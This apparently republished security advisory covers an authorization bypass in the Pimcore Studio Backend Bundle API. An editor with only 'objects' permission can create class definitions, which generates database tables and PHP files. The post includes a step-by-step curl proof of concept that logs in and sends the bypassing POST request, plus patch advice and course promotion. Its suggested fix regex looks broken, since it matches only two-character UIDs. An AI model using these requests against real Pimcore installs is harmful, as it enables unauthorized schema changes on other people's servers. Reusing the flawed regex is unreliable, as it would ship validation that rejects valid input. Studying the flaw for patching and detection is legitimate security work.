Listen to this Post
The Pimcore Studio API class definition creation endpoint is vulnerable due to an incorrect permission guard, allowing users with only standard editor-level `objects` permissions to create new class definitions—a structural admin operation that should require the `classes` permission. The endpoint `POST /pimcore-studio/api/class/definition/configuration-view/detail/create` is protected by `[IsGranted(UserPermissions::DATA_OBJECTS->value)]` instead of [IsGranted(UserPermissions::CLASSES->value)], enabling any authenticated user with object editing rights to bypass the admin-only restriction enforced in the Classic Admin UI.
Class definition creation is equivalent to schema modification—it generates new database tables and PHP class files on the server. The same user cannot perform this action through the Classic Admin interface, confirming the Studio API enforces a weaker permission check.
Compounding this issue, the API layer performs no format validation on the `uid` field before passing it to the model layer. The `CreateClassDefinitionParameters` class only performs an empty-string check, while the downstream `ClassDefinition::saveClassInternal()` validates UID format via anchored regex. A malformed UID passes through the API layer unchecked and only fails deep in the model layer, returning an unformatted internal exception that can expose stack traces depending on server debug configuration. Defense-in-depth requires the same regex validation at the API boundary.
DailyCVE Form:
Platform: Pimcore Studio Backend Bundle
Version: <2025.4.6, ≥2026.1.0 & <2026.1.6
Vulnerability: Improper Authorization & Input Validation
Severity: High (CVSS 7.1)
Date: 2026-08-28
Prediction: Patch expected 2026-08-28 (versions 2025.4.6, 2026.1.6)
What Undercode Say:
Check installed version
composer show pimcore/studio-backend-bundle
Verify vulnerable endpoint is accessible
curl -s -b /tmp/cookies.txt -X POST \
"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
-H "Content-Type: application/json" \
-d '{"name":"TestClass","uid":"testuid1"}'
Expected vulnerable response: {"id": "testuid1", "name": "TestClass", ...}
Expected patched response: {"status": 403, "detail": "Access denied."}
Exploit: (Educational Purposes!)
- Authenticate as editor user with only `objects` permission (no `classes` permission)
- Confirm Classic Admin shows no Classes menu access
- Send POST request to vulnerable endpoint with crafted JSON payload
- Class definition created successfully despite missing `classes` permission
Step 1: Login curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"password"}' Step 2: Create class definition (bypasses permission check) curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"UnauthorizedClass","uid":"testuid1"}'
Protection:
- Upgrade to `pimcore/studio-backend-bundle` version 2025.4.6 or 2026.1.6 or higher
- Apply correct permission guard: `[IsGranted(UserPermissions::CLASSES->value)]`
– Add UID format validation at API boundary:if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]$/', trim($this->uid))) { throw new InvalidArgumentException(sprintf('Invalid UID for class definition: %s', $this->uid)); }
Impact:
- Any authenticated Pimcore user with standard `objects` permission can create class definitions via Studio API, bypassing `classes` permission restriction enforced in Classic Admin
- Privilege escalation from editor level to admin-level schema modification capability
- Unauthorized generation of new database tables and PHP class files on the server
- Malformed UIDs can reach model layer and expose internal stack traces depending on server debug configuration
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
